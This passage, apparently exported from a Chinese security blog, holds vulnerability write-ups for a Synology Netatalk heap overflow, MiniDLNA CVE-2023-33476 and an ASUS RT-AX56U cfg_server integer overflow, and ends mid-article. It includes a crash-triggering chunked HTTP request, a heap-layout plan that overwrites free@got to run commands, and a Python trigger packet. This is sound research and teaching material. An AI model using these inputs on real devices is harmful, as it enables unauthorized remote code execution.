`6.1.7-15284`版本,对`Pwn2Own Tokyo 2020`比赛上`DEVCORE`团队使用的堆溢出漏洞进行了分析。漏洞的触发相对比较简单,漏洞的利用思路则参考了`@Angelboy`的议题《Your NAS is not your NAS !》,介绍通过伪造`tls_dtor_list`来实现代码执行的目的,并对其中的一些关键点如寻找内容可控的地址空间、`stack_guard`泄露、`pointer demangle`等进行了细致分析。之前对`tls_dtor_list`这块不太了解,在完成漏洞利用的过程中学到了很多,感兴趣地可以自己动手搭建环境试试。\n\n### 补充\n\n根据前面的利用思路,溢出并进行合适的布局后,需要调用`exit()`来触发。在`@Angelboy`给出的[hitcon metatalk writeup](https://github.com/scwuaptx/CTF/blob/master/2021-writeup/hitcon/metatalk.py)中,利用思路与其议题分享中的类似,但是缺少了爆破`stack_guard`这一环节。在请教`@Angelboy`后,其主要是利用了`timeout handler`机制。在`netatalk`中,函数`alarm_handler()`用于`SIGALRM`信号的处理,当触发`alarm_handler()`并满足一定条件后,其内部会调用`exit()`。因此,通过构造数据包使得`dsi_doff`字段的值大于实际发送的`afp payload`的长度,造成调用`dsi_stream_read()`时等待并超时,就有可能在溢出之后自动触发`exit()`,避免了`dsi_stream_receive()`返回时存在的`___stack_chk_fail()`问题。\n\n在题目`metatalk`中,对应的`sleep time`和`disconnect time`均设置为`0`,而在`Synology NAS DSM 6.1.7-15284`中,`afp.conf`中的部分配置为:`timeout = 8, sleep time = 8, disconnect time = 48`。`alarm_handler`相关的代码如下,可知,`alarm_handler()`大约每`30`秒触发一次,若想触发`afp_dsi_die()`,在其他条件均满足时,似乎至少需要触发`alarm_handler()` `8`次才行。\n\n> 针对该方法,暂未在实际设备上进行测试。\n\n```c\n// in afp_config_parse()\noptions->tickleval = atalk_iniparser_getint (config, INISEC_GLOBAL, \"tickleval\", 30);\noptions->timeout = atalk_iniparser_getint (config, INISEC_GLOBAL, \"timeout\", 4);\noptions->sleep = atalk_iniparser_getint (config, INISEC_GLOBAL, \"sleep time\", 10);\noptions->disconnected = atalk_iniparser_getint (config, INISEC_GLOBAL, \"disconnect time\",24);\n\n// in dsi_getsession()\ncase DSIFUNC_OPEN: /* setup session */\n /* set up the tickle timer */\n dsi->timer.it_interval.tv_sec = dsi->timer.it_value.tv_sec = tickleval;\n dsi->timer.it_interval.tv_usec = dsi->timer.it_value.tv_usec = 0;\n dsi_opensession(dsi);\n *childp = NULL;\n return 0;\n\n// in afp_over_dsi_sighandlers()\naction.sa_handler = alarm_handler;\nif ((sigaction(SIGALRM, &action, NULL) < 0) ||\n (setitimer(ITIMER_REAL, &dsi->timer, NULL) < 0)) {\n afp_dsi_die(EXITERR_SYS);\n}\n\nstatic void alarm_handler(int sig _U_)\n{ \n // ...\n dsi->tickle++;\n if (dsi->flags & DSI_SLEEPING) {\n if (dsi->tickle > AFPobj->options.sleep) {\n LOG(log_note, logtype_afpd, \"afp_alarm: sleep time ended\");\n afp_dsi_die(EXITERR_CLNT);\n }\n return;\n } \n\n if (dsi->flags & DSI_DISCONNECTED) {\n // check username instead of euid\n if (!dsi->AFPobj || !dsi->AFPobj->username)\n {\n LOG(log_note, logtype_afpd, \"afp_alarm: unauthenticated user, connection problem\");\n afp_dsi_die(EXITERR_CLNT);\n }\n if (dsi->tickle > AFPobj->options.disconnected) {\n LOG(log_error, logtype_afpd, \"afp_alarm: reconnect timer expired, goodbye\");\n afp_dsi_die(EXITERR_CLNT);\n }\n return;\n }\n\n /* if we're in the midst of processing something, don't die. */ \n if (dsi->tickle >= AFPobj->options.timeout) {\n LOG(log_error, logtype_afpd, \"afp_alarm: child timed out, entering disconnected state\");\n if (dsi_disconnect(dsi) != 0)\n afp_dsi_die(EXITERR_CLNT);\n return;\n }\n // ...\n}\n```\n\n### 相关链接\n\n+ [Synology DiskStation Manager Netatalk dsi_doff Heap-based Buffer Overflow Remote Code Execution Vulnerability](https://www.zerodayinitiative.com/advisories/ZDI-21-492/)\n+ [HITCON21-你的 NAS 不是你的 NAS !](https://hitcon.org/2021/agenda/03f06675-261d-4c97-b524-33ef9cc6ccb2/%E4%BD%A0%E7%9A%84%20NAS%20%E4%B8%8D%E6%98%AF%E4%BD%A0%E7%9A%84%20NAS%20!.pdf)\n+ [Blog: Your NAS is not your NAS !](https://devco.re/blog/2022/03/28/your-NAS-is-not-your-NAS-en/)\n+ [hitcon CTF 2021 - metatalk](https://kileak.github.io/ctf/2021/hitcon21-metatalk/)\n+ [Data Stream Interface](https://en.wikipedia.org/wiki/Data_Stream_Interface)\n+ [Glibc TLS的实现与利用](https://dere.press/2020/10/18/glibc-tls/)\n+ [Notes on abusing exit handlers, bypassing pointer mangling and glibc ptmalloc hooks](http://binholic.blogspot.com/2017/05/notes-on-abusing-exit-handlers.html)\n","tags":["Synology"],"categories":["IoT","漏洞"]},{"title":"Analyzing the MiniDLNA Http Chunk Parsing Vulnerability (CVE-2023-33476)","url":"/2024/04/02/Analyzing-the-MiniDLNA-Http-Chunk-Parsing-Vulnerability-CVE-2023-33476/","content":"\n### 前言\n\n`CVE-2023-33476`是存在于`ReadyMedia (MiniDLNA)` `1.1.15 ~ 1.3.2`版本中的一个越界读/写漏洞,该漏洞是由于在处理采用分块传输编码的HTTP请求时存在逻辑缺陷,通过伪造较大的分块长度,可造成后续进行拷贝时出现越界读/写问题。利用该漏洞,远程未授权的用户可实现任意代码执行。该漏洞是由安全研究员`@hyprdude`发现,目前已在`MiniDLNA 1.3.3`版本中修复了。同时,`@hyprdude`还提供了详细的[漏洞分析](https://blog.coffinsec.com/0day/2023/05/31/minidlna-heap-overflow-rca.html)和[利用思路](https://blog.coffinsec.com/0day/2023/06/19/minidlna-cve-2023-33476-exploits.html)文章,感兴趣的可以看看。参考上面两篇文章,下文将对漏洞进行分析,并重点关注漏洞的利用思路。\n\n<!-- more -->\n\n### 环境准备\n\n参考`@hyprdude`的[文章](https://blog.coffinsec.com/0day/2023/06/19/minidlna-cve-2023-33476-exploits.html),这里直接在`Ubuntu 20.04`系统上对`minidlna`源码进行编译。\n\n```shell\n# install deps (add missing deps if necessary)\n$ sudo apt install -y libavformat-dev libsqlite3-dev libexif-dev libogg-dev libvorbis-dev libid3tag0-dev libflac-dev\n\n$ git clone https://git.code.sf.net/p/minidlna/git minidlna\n$ cd minidlna && git checkout tags/v1_3_2\n$ ./autogen.sh\n$ ./configure --enable-tivo CC=clang CFLAGS=\"-g -O0 -fstack-protector\"\n$ make minidlnad CC=clang CFLAGS=\"-g -O0 -fstack-protector\"\n```\n\n编译完成后,与`minidlna`服务相关的配置在`minidlna.conf`文件中。这里仅修改`media_dir`参数,如下。\n\n```ini\n# port for HTTP (descriptions, SOAP, media transfer) traffic\nport=8200\n\n# set this to the directory you want scanned.\nmedia_dir=/tmp/media\n```\n\n之后,运行`sudo ./minidlnad -R -f minidlna.conf -d`启动该服务,可通过访问`\"http://<ip>:8200/status\"`来测试服务是否正常运行。\n\n### 漏洞分析\n\n通过访问`\"http://<ip>:8200/status\"`,结合调试,主要的函数调用流程如下。\n\n> 说明:有些函数不是直接被调用,而是通过Event事件处理机制调用。\n\n```\nmain()\n -> ProcessListen()\n -> New_upnphttp()\n -> Process_upnphttp()\n -> ProcessHttpQuery_upnphttp()\n -> ParseHttpHeaders()\n -> SendResp_presentation()\n```\n\n`ProcessHttpQuery_upnphttp()`主要用于解析和处理`HTTP`请求,其部分代码如下。在`ProcessHttpQuery_upnphttp()`中,其会先解析`http`请求行,之后在`(1)`处会调用`ParseHttpHeaders()`来解析请求头,其会设置`upnphttp`结构体中的部分字段。如果`http`请求采用分块传输编码,正常情况下,请求流程会到达`(2)`处,该`while`循环的主要目的是将请求体中的分块数据合并成一个,并保存到`chunkstart`指向的缓冲区。需要说明的是,为了到达`(2)`处,在调用`ParseHttpHeaders()`后,需要保证`h->req_chunklen`为`0`.\n\n```c\nstatic void ProcessHttpQuery_upnphttp(struct upnphttp * h)\n{\n /* parse http request line */ \n\n ParseHttpHeaders(h); // (1)\n\n /* see if we need to wait for remaining data */\n if( (h->reqflags & FLAG_CHUNKED) )\n {\n if( h->req_chunklen == -1)\n {\n /* error case */\n }\n if( h->req_chunklen )\n {\n h->state = 2;\n return;\n }\n char *chunkstart, *chunk, *endptr, *endbuf;\n chunk = endbuf = chunkstart = h->req_buf + h->req_contentoff;\n\n while ((h->req_chunklen = strtol(chunk, &endptr, 16)) > 0 && (endptr != chunk) ) // (2)\n {\n endptr = strstr(endptr, \"\\r\\n\");\n if (!endptr)\n {\n /* error case */\n }\n endptr += 2;\n\n memmove(endbuf, endptr, h->req_chunklen);\n\n endbuf += h->req_chunklen;\n chunk = endptr + h->req_chunklen;\n }\n h->req_contentlen = endbuf - chunkstart;\n h->req_buflen = endbuf - h->req_buf;\n h->state = 100;\n }\n // ...\n```\n\n`ParseHttpHeaders()`的部分代码如下。其会先逐行解析`http`请求头并设置`upnphttp`结构体中的对应字段,在解析完请求头后,若`http`请求采用分块传输编码,程序流程会到达`(3)`处,该`while`循环主要用于对请求体中包含的分块长度字段进行校验。乍一看,该校验逻辑似乎没有问题,而实际上在`(4)`处由于运算符优先级的问题,原本的`(h->req_chunklen = strtol(line, &endptr, 16)) > 0` 变成了`h->req_chunklen = (strtol(line, &endptr, 16) > 0)`,导致`h->req_chunklen`的值只能是`0`或`1`,在`(5)`处对`line`指针的赋值结果会出现错误,从而可以绕过`(3)`处`while`循环中的`(line < (h->req_buf + h->req_buflen))`判断条件。也就是说,由于该逻辑缺陷的存在,我们可以伪造请求体中包含的分块长度字段,同时通过程序中存在的校验。\n\n```C\nstatic void ParseHttpHeaders(struct upnphttp * h)\n{\n /* parse http headers */\n\n if (h->reqflags & FLAG_CHUNKED)\n {\n char *endptr;\n h->req_chunklen = -1;\n if (h->req_buflen <= h->req_contentoff)\n return;\n while( (line < (h->req_buf + h->req_buflen)) && // (3)\n (h->req_chunklen = strtol(line, &endptr, 16) > 0) && // (4) incorrect logic\n (endptr != line) )\n {\n endptr = strstr(endptr, \"\\r\\n\");\n if (!endptr)\n {\n return;\n }\n line = endptr+h->req_chunklen+2; // (5)\n }\n\n if( endptr == line )\n {\n h->req_chunklen = -1;\n return;\n }\n }\n\n // ...\n```\n\n之后,回到`ProcessHttpQuery_upnphttp()`中。前面提到过,`(2)`处`while`循环的主要目的是将请求体中的分块数据合并成一个,并保存到`chunkstart`指向的缓冲区,而这里对`h->req_chunklen`的赋值计算是正确的。因此,当伪造一个较大的分块长度值时,在`(6)`处调用`memmove()`时会出现越界读/越界写问题。这里,`endbuf`和`endptr`实际上是指向同一个缓冲区中的不同位置,`memmove()`的效果相当于将对应的数据向左移动。如果仅在同一个缓冲区内,这种操作似乎不会存在问题,但由于`h->req_chunklen`可控,实际上可以影响到与`h->req_buf`相邻的堆块,这样就有机会\"修改\"相邻堆块中的内容。\n\n```c\nstatic void ProcessHttpQuery_upnphttp(struct upnphttp * h)\n{\n /* parse http request line */ \n\n ParseHttpHeaders(h); // (1)\n\n /* see if we need to wait for remaining data */\n if( (h->reqflags & FLAG_CHUNKED) )\n {\n // ...\n char *chunkstart, *chunk, *endptr, *endbuf;\n chunk = endbuf = chunkstart = h->req_buf + h->req_contentoff;\n\n while ((h->req_chunklen = strtol(chunk, &endptr, 16)) > 0 && (endptr != chunk) ) // (2)\n {\n endptr = strstr(endptr, \"\\r\\n\");\n if (!endptr)\n {\n /* error case */\n }\n endptr += 2;\n\n memmove(endbuf, endptr, h->req_chunklen); // (6) out-of-bounds read/write\n\n endbuf += h->req_chunklen;\n chunk = endptr + h->req_chunklen;\n }\n h->req_contentlen = endbuf - chunkstart;\n h->req_buflen = endbuf - h->req_buf;\n h->state = 100;\n }\n // ...\n```\n\n触发崩溃的`http`请求示例如下。\n\n```text\nGET /status HTTP/1.1\\r\\nTransport-Encoding:chunked\\r\\n\\r\\nffffff\\r\\n0\\r\\n\\r\\n\n```\n\n### 漏洞利用\n\n程序`minidlnad`启用的缓解机制如下,同时环境中的`ASLR`级别为`2`.\n\n```shell\n $ checksec --file ./minidlnad\n Arch: amd64-64-little\n RELRO: Partial RELRO\n Stack: Canary found\n NX: NX enabled\n PIE: No PIE (0x400000)\n```\n\n前面说过,`endbuf`和`endptr`指针实际上是指向`h->req_buf`堆块中的不同位置,借助该漏洞,可以修改与`h->req_buf`相邻堆块中的内容。针对堆相关的利用,常见的思路主要分为两类:1) 修改堆块中包含的正常数据,比如某个结构体中的函数指针等;2) 修改与堆块本身相关的元数据,比如`size`字段、`fd`指针等。至于采用哪种思路,则取决于具体的目标和上下文。\n\n通过浏览`minidlna`的源码,在处理`http`请求的过程中,最主要的结构体为`upnphttp`,而该结构体中并未包含函数指针。虽然也可以修改其他的字段,但由于`memmove()`的效果相当于将对应的数据向左移动,在修改某个字段时,也会\"修改\"其前面的其他字段,而该结构体在很多地方都会被用到,可能会由于某个字段被修改导致程序`crash`。因此,这里采用第二种思路,即通过修改与堆块本身相关的元数据的方式来实现代码执行的目的。具体地,`Ubuntu 20.04`系统上使用的`glibc`版本为`2.31`,故这里采用`Tcache Poisoning`方式。\n\n```shell\n$ /lib/x86_64-linux-gnu/libc.so.6\nGNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.\n```\n\n为了能完成`Tcache Poisoning`,在调用`memmove()`触发越界读/写操作时,需要满足如下条件:\n\n+ 与`h->req_buf`相邻的堆块为一个空闲堆块,且其中包含用户可控的数据;\n+ `endptr + h->req_chunklen` 需要指向相邻空闲堆块中`<pointer>`之后;\n+ 向左移动的距离至少为`16`字节 (`endptr - endbuf`)。\n\n<img src=\"images/cq674350529_heap_layout_1.png\" style=\"zoom:70%\">\n\n#### 堆布局\n\n为了满足上面的条件,需要借助程序提供的正常功能来进行堆布局,因此需要先对正常请求处理流程中涉及到的堆块申请与释放操作进行分析。以`http://<ip>:8200/status`请求为例,利用`gdb python`脚本来跟踪所有的`malloc()`与`free()`调用,主要的堆块申请与释放记录如下:\n\n+ `malloc(0x20)/free()`:来自于`log_err()`,与外部请求无关\n+ `malloc(0x100)`:在`New_upnphttp()`中,用于创建并初始化`upnphttp`结构体 (`malloc(sizeof(struct upnphttp))`)\n+ `malloc(xxx)`:在`Process_upnphttp()`中,实际上对应`realloc(xxx)`,申请堆空间来保存接收的`http`请求 (`h->req_buf = (char *)realloc(h->req_buf, new_req_buflen)`)\n+ `malloc(xxx)/free()`:在`SendResp_presentation()`中,对应`/status`接口的处理函数,其中会涉及到很多个堆块的申请与释放操作。可以通过访问不存在的`url`,或发送无效的`http`请求 进行规避\n+ `malloc(xxx+0x184)`:在`BuildHeader_upnphttp()`中,申请堆空间来保存生成的`http`响应 (`h->res_buf = (char *)malloc(templen)`)\n+ `free(h->req_buf)`:在`Delete_upnphttp()`中,正常请求处理完或对应的套接字关闭后会释放`h->req_buf`\n+ `free(h->res_buf)`:在`Delete_upnphttp()`中,正常请求处理完或对应的套接字关闭后会释放`h->res_buf`\n+ `free(h)`:在`Delete_upnphttp()`中,正常请求对应的套接字关闭后会释放`h`\n\n由上可知,`upnphttp`结构体的申请与释放与套接字相关,但其内容不是完全可控,而`h->req_buf`堆块的申请与接收的`http`请求相关,且内容完全可控。同时,在`Process_upnphttp()`中,只有当在接收的数据中定位到`\"\\r\\n\\r\\n\"`时,程序流程会继续向下执行,开始处理和解析接收的`http`请求,如果不存在`\"\\r\\n\\r\\n\"`,程序会尝试从套接字上读取更多数据。也就是说,通过发送伪造的`http`请求,可以让`h->req_buf`对应的堆块不会被过早释放。综上,`h->req_buf`对应堆块的申请、释放以及其内容是完全可控的,可以利用其来完成需要的堆布局。\n\n```c\nstatic void Process_upnphttp(struct event *ev)\n{\n // ...\n switch(h->state)\n {\n case 0:\n n = recv(h->ev.fd, buf, 2048, 0);\n if(n<0)\n {\n /* ... */\n }\n else if(n==0)\n {\n /* ...*/\n }\n else\n {\n int new_req_buflen;\n const char * endheaders;\n new_req_buflen = n + h->req_buflen + 1;\n h->req_buf = (char *)realloc(h->req_buf, new_req_buflen);\n memcpy(h->req_buf + h->req_buflen, buf, n);\n h->req_buflen += n;\n h->req_buf[h->req_buflen] = '\\0';\n /* search for the string \"\\r\\n\\r\\n\" */\n endheaders = strstr(h->req_buf, \"\\r\\n\\r\\n\"); // (7)\n if(endheaders)\n {\n /* process http request */\n }\n }\n break;\n```\n\n整体的堆布局思路如下:\n\n1. 与远端`minidlna`服务建立`10`个套接字连接,但不发送数据 (一部分用于填充碎片堆块,一部分用来创建连续的堆块)\n <img src=\"images/cq674350529_heap_fengshui_1.png\">\n\n2. 通过前面的套接字发送伪造的数据 (与第1步之间可能需要增加适当延时,保证`h->req_buf`对应的堆块与`upnphttp`结构体对应的堆块之间是分开的)\n <img src=\"images/cq674350529_heap_fengshui_2.png\">\n\n3. 按逆序依次关闭最后3个套接字,与套接字对应的`upnphttp`结构体堆块和`h->req_buf`堆块会被释放\n <img src=\"images/cq674350529_heap_fengshui_3.png\">\n\n4. 创建1个正常的套接字`vuln_sock`,并发送伪造的数据来触发越界读/写漏洞,与`h->req_buf`相邻空闲堆块的`fd`指针将被修改为可控指针。同时,该请求处理完后,对应的`h->req_buf`会被释放\n <img src=\"images/cq674350529_heap_fengshui_4.png\">\n\n5. 创建2个正常的套接字`tmp_sock`,并发送包含`cmd`的数据,之后再创建1个套接字`trigger_sock`并发送数据,其对应的`h->req_buf`指向指定的任意地址,从而实现任意地址写操作 (可以选择将`free@got`修改为`system@plt`)\n <img src=\"images/cq674350529_heap_fengshui_5.png\">\n\n6. 释放前面创建的`tmp_sock`,在执行`free(h->req_buf)`时相当于执行`system(cmd)`,从而实现代码执行的目的\n\n#### 其他\n\n1. 在使用套接字发送伪造的数据时,如何确定发送多长的数据,即`h->req_buf`堆块的大小为多少合适?\n 若发送的数据太短,则无法包含后续要执行的`cmd`。若发送的数据过长,在实现任意地址写时,除了会修改`free@got`,还会修改之后的其他`got`表项。同时,需要保证`h->req_buf`对应堆块的大小在程序正常流程中未被频繁使用,以降低干扰。这里使用的请求数据长度为`79`。另外,除了修改`free@got`外,后续用到的`fprintf@got`和`inet_ntop@got`也被修改为`system@plt`。\n2. 在调用`memmove()`时,如何控制向左移动的距离?\n 向左移动的距离等于`endptr - endbuf`,为了能修改相邻空闲堆块中的`fd`指针,正常情况下移动的距离需要至少为`16`个字节。通过在请求体中包含的分块长度前补`\"0\"`,可以控制向左移动的距离。\n\n最终效果如下。\n\n<img src=\"images/cq674350529_demo.gif\" style=\"zoom:80%\">\n\n### 补丁分析\n\n对该漏洞的修复也很简单,如下。\n\n```diff\n--- a/upnphttp.c\n+++ b/upnphttp.c\n@@ -432,7 +432,7 @@\n if (h->req_buflen <= h->req_contentoff)\n return;\n while( (line < (h->req_buf + h->req_buflen)) &&\n- (h->req_chunklen = strtol(line, &endptr, 16) > 0) &&\n+ ((h->req_chunklen = strtol(line, &endptr, 16)) > 0) &&\n (endptr != line) )\n {\n endptr = strstr(endptr, \"\\r\\n\");\n```\n\n### 小结\n\n本文基于`Ubuntu 20.04`环境,对`MiniDLNA` `1.3.2`版本中存在的一个越界读/写漏洞进行了分析,并重点介绍了漏洞利用的思路,再次感谢`@hyprdude`提供的详细漏洞分析和利用思路文章。\n\n### 相关链接\n\n+ [ReadyMedia](https://sourceforge.net/projects/minidlna/)\n+ [chonked pt.1: minidlna 1.3.2 http chunk parsing heap overflow (cve-2023-33476) root cause analysis](https://blog.coffinsec.com/0day/2023/05/31/minidlna-heap-overflow-rca.html)\n+ [chonked pt.2: exploiting cve-2023-33476 for remote code execution](https://blog.coffinsec.com/0day/2023/06/19/minidlna-cve-2023-33476-exploits.html)\n+ [Exploits for a heap overflow in MiniDLNA <=1.3.2 (CVE-2023-33476)](https://github.com/mellow-hype/cve-2023-33476/tree/main)\n+ [Tcache attack](https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack/)\n+ [upnphttp: Fix chunk length parsing](https://sourceforge.net/p/minidlna/git/ci/9bd58553fae5aef3e6dd22f51642d2c851225aec/)\n","tags":["MiniDLNA"],"categories":["漏洞"]},{"title":"Analyzing the Vulnerability in ASUS Router (maybe) from TFC2021","url":"/2023/08/05/Analyzing-the-Vulnerability-in-ASUS-Router-maybe-from-TFC2021/","content":"\n### 前言\n\n`2021`年天府杯破解大赛的设备类项目包含群晖和华硕两个项目,其中,群晖设备(`DS220j`)暂时无选手攻破,而华硕设备(`RT-AX56U V2/热血版`)则被两队选手成功拿下。笔者在前期主要关注群晖设备,也顺带看了下华硕设备,虽然发现了其他的小问题,但是未发现这个整数溢出漏洞 。目前华硕官方已发布对应的[补丁](https://www.asus.com.cn/Networking-IoT-Servers/WiFi-Routers/All-series/RT-AX56U-V2/HelpDesk_BIOS/),网上也有其他师傅对这个漏洞进行了详细的分析,感兴趣地可以看看 [\"天府杯华硕会战的围剿与反围剿\"](https://paper.seebug.org/1751/) 和 [\"Tianfu Cup 2021 RT-AX56U RCE\"](https://wzt.ac.cn/2021/11/02/TFC2021-AX56U/)。参考上面两篇文章,下文将对漏洞进行分析,并重点关注漏洞的利用思路。\n\n<!-- more -->\n\n### 环境准备\n\n华硕`RT-AX56U`型号设备有两个版本:`RT-AX56U`和`RT-AX56U V2/热血版`,这两个版本的设备固件大体上相似,存在些许差异。该漏洞在这两个版本中均存在,由于手边有一个`RT-AX56U V2`型号的真实设备,故这里基于`RT-AX56U_V2 3.0.0.4.386_45898`固件版本进行分析。\n\n> `RT-AX56U`对应的固件名称为\"FW_RT_AX56U_xxxxxx\",`RT-AX56U V2/热血版`对应的固件名称为\"FW_RT_AX55_xxxxxxs\"。从官方下载链接来看,`RT-AX56U`对应的历史固件比较多,因此也可以基于该版本进行分析。\n\n该设备支持`Telnet`和`SSH`功能,开启`Telnet`后登录到设备,即可获取设备的`root shell`,便于后续的分析和调试。\n\n> 华硕路由器固件遵循`GPL`协议,在网上可以搜索到相关代码。其中,[asuswrt-merlin](https://github.com/RMerl/asuswrt-merlin.ng)项目中的一些源码与华硕路由器固件中的部分代码对应,值得借鉴参考。\n\n### 漏洞分析\n\n设备上开放的部分端口信息如下。其中,`cfg_server`进程监听`7788/tcp`和`7788/udp`端口,而漏洞就存在于该进程中。\n\n```shell\n# netstat -tulnp\nActive Internet connections (only servers)\nProto Recv-Q Send-Q Local Address Foreign Address State PID/Program name\ntcp 0 0 0.0.0.0:5152 0.0.0.0:* LISTEN 362/envrams\ntcp 0 0 0.0.0.0:18017 0.0.0.0:* LISTEN 1131/wanduck\ntcp 0 0 0.0.0.0:46340 0.0.0.0:* LISTEN 1301/miniupnpd\ntcp 0 0 0.0.0.0:7788 0.0.0.0:* LISTEN 1331/cfg_server # <===\ntcp 0 0 192.168.1.1:80 0.0.0.0:* LISTEN 1222/httpd\nudp 0 0 192.168.1.1:52738 0.0.0.0:* 1301/miniupnpd\nudp 0 0 0.0.0.0:9999 0.0.0.0:* 1223/infosvr\nudp 0 0 0.0.0.0:18018 0.0.0.0:* 1131/wanduck\nudp 0 0 0.0.0.0:7788 0.0.0.0:* 1331/cfg_server # <===\nudp 0 0 0.0.0.0:1900 0.0.0.0:* 1301/miniupnpd\nudp 0 0 0.0.0.0:59000 0.0.0.0:* 1159/eapd\nudp 0 0 192.168.1.1:5351 0.0.0.0:* 1301/miniupnpd\n```\n\n使用`IDA`对该程序进行分析,在`cm_rcvTcpHandler()`中,会调用`pthread_create()`创建一个新的线程来对连接进行处理。\n\n```c\nvoid cm_rcvTcpHandler(int a1)\n{\n // ...\n v5 = accept(*(_DWORD *)(a1 + 12), &v14, &addr_len);\n if ( v5 >= 0 )\n {\n *v2 = v5;\n if ( pthread_create(&newthread, (const pthread_attr_t *)attrp, (void *(*)(void *))cm_tcpPacketHandler, v2) )\n {\n // ...\n```\n\n在`cm_tcpPacketHandler()`中,调用`read_tcp_message()`读取`socket`数据之后,再调用`cm_packetProcess()`进行处理。\n\n```c\nint cm_tcpPacketHandler(int *a1)\n{\n // ...\n if ( v20[0] )\n {\n // ...\n while ( 1 )\n {\n memset(v21, 0, 0x4000u);\n v10 = read_tcp_message(v2, v21, 0x4000u);\n if ( v10 <= 0 )\n break;\n if ( cm_packetProcess(v2, v21, v10, (int)v19, (int)v20, (int)&cm_ctrlBlock, (int)v18) == 1 )\n // ...\n```\n\n在`cm_packetProcess()`中,其主要功能是根据接收数据的前`4`个字节的内容,在`packetHandlers`中匹配对应的`opcode`,匹配成功的话则调用对应的处理函数。\n\n```c\nint cm_packetProcess(int a1, unsigned int *a2, unsigned int a3, int a4, int a5, int a6, int a7)\n{\n v7 = a2; // recv_buf\n // ...\n while ( 2 )\n {\n if ( v14 >= (int)a3 )\n return 0;\n v15 = v14 + 12;\n if ( v15 <= a3 )\n {\n v19 = *v7; v20 = v7[1]; v21 = v7 + 3;\n v46 = v19; v47 = v20; v48 = *(v21 - 1);\n v22 = v19;\n // ...\n v24 = bswap32(v22);\n v28 = 0;\n while ( 1 )\n {\n v29 = &packetHandlers[v28];\n v30 = packetHandlers[v28];\n if ( v30 <= 0 )\n break;\n v28 += 2;\n if ( v30 == v24 ) // match opcode\n goto LABEL_27;\n }\n if ( *v29 < 0 )\n { /* ... */ }\n else\n {\nLABEL_27:\n if ( !((int (__fastcall *)(int, int, unsigned int, unsigned int, int, int, unsigned int *, int, int))v29[1])( a1, a6, v46, v47, v48, a7, v21, a4, a5) ) // call function\n {\n // ...\n```\n\n经过分析,接收的消息数据包的格式为类似`TLV(type-length-value)`的格式,其中多了一个`checksum`字段,如下。\n\n```c\nstruct msg {\n uint32_t type;\n uint32_t length; // length of value\n uint32_t checksum; // crc32 of value\n char* value;\n}\n```\n\n在`packetHandlers`地址处包含的`opcode`与`function pointer`的示例如下。通过指定数据包中的`type`字段,即可调用`packetHandlers`中对应的处理函数。\n\n```assembly\n.data:000AE4A4 packetHandlers DCD 1 ; DATA XREF: LOAD:00011820↑o\n.data:000AE4A4 ; cm_packetProcess+2F8↑o ...\n.data:000AE4A8 DCD cm_processREQ_KU\n.data:000AE4AC DCD 3\n.data:000AE4B0 DCD cm_processREQ_NC\n.data:000AE4B4 DCD 5\n.data:000AE4B8 DCD cm_processREP_OK\n.data:000AE4BC DCD 8\n.data:000AE4C0 DCD cm_processREQ_CHK\n.data:000AE4C4 DCD 0xA\n.data:000AE4C8 DCD cm_processACK_CHK\n; ...\n.data:000AE51C DCD 0x28\n.data:000AE520 DCD cm_processREQ_GROUPID\n.data:000AE524 DCD 0x2A\n.data:000AE528 DCD cm_processACK_GROUPID\n; ...\n.data:000AE55C DCD 0x3B\n.data:000AE560 DCD cm_processREQ_LEVEL\n.data:000AE564 DCD 0xFFFFFFFF\n```\n\n通过对上述处理函数进行分析,发现大多数函数都会先对`value`部分的内容进行`AES`解密,然后再对解密后的内容进行处理,而漏洞就存在于`AES`解密的过程中。以`cm_processREQ_GROUPID()`为例,在`(1)`处对`checksum`进行校验,通过后在`(2)`处会调用`aes_decrypt()`对数据进行解密。在`aes_decrypt()`中,在`(3)`处计算`EVP_CIPHER_CTX_block_size(ctx) + tlv_length`,然后将其传入`malloc()`中。由于未对`tlv_length`的值进行校验,当伪造`tlv_length=0xfffffffa`时,在`(3)`处会出现整数溢出,使得`malloc()`申请一块很小的内存,造成后续在循环调用`EVP_DecryptUpdate()`往该内存中写数据时出现堆溢出。\n\n```c\nint cm_processREQ_GROUPID(int sock_fd, int cm_ctrlblock_ptr, int tlv_type, unsigned int tlv_length, unsigned int crc_checksum, int a6, int tlv_value_ptr)\n{\n // ... \n v11 = get_onboarding_key();\n if ( v11 )\n {\n v15 = bswap32(tlv_length);\n if ( calc_checksum(0, (char *)tlv_value_ptr, v15) != bswap32(crc_checksum) ) // (1) verify checksum\n {\n /* checksum fail */\n }\n // ...\n v22 = aes_decrypt((int)v11, tlv_value_ptr, v15, &v42); // (2)\n // ...\n\nchar * aes_decrypt(int key, int tlv_value_ptr, unsigned int tlv_length, _DWORD *decodeMsgLen)\n{\n // ...\n out_len[0] = 0;\n ctx = EVP_CIPHER_CTX_new();\n cipher = EVP_aes_256_ecb();\n v10 = (void *)EVP_DecryptInit_ex(ctx, cipher, 0, key, 0);\n if ( v10 )\n {\n *decodeMsgLen = 0;\n v11 = EVP_CIPHER_CTX_block_size(ctx) + tlv_length; // (3) ctx size: 0x10, integer overflow\n v12 = malloc(v11); // (4)\n v10 = v12;\n if ( v12 )\n {\n memset(v12, 0, v11);\n out = (int)v10;\n for ( i = tlv_length; ; i -= 16 )\n {\n in = tlv_value_ptr + tlv_length - i;\n if ( i <= 0x10 )\n break;\n if ( !EVP_DecryptUpdate(ctx, out, (int)out_len, in, 16) ) // (5) heap overflow\n {\n printf(\"%s(%d):Failed to EVP_DecryptUpdate()!!\\n\", \"aes_decrypt\", 795);\n EVP_CIPHER_CTX_free(ctx);\n free(v10);\n return 0;\n }\n out += out_len[0];\n *decodeMsgLen += out_len[0];\n }\n // ...\n```\n\n因此,通过构造类似如下的数据,即可触发漏洞。其中,设置`checksum=0`即可,因为在`calc_checksum()`中,当`tlv_length=0xfffffffa`时,由于条件不成立会直接返回,计算的结果为`0`。\n\n```python\ntlv = p32(0x28, \">\")\ntlv += p32(0xfffffffa, \">\")\ntlv += p32(0)\ntlv += 'a' * 0x10\n\n\"\"\"\nunsigned int calc_checksum(unsigned int result, char *tlv_value_ptr, int tlv_length)\n{\n char v3; // t1\n\n while ( --tlv_length >= 0 ) // condition fail if tlv_length is negative\n {\n v3 = *tlv_value_ptr++;\n result = CRC32_Table[(unsigned __int8)(v3 ^ result)] ^ (result >> 8);\n }\n return result;\n}\n\"\"\"\n```\n\n### 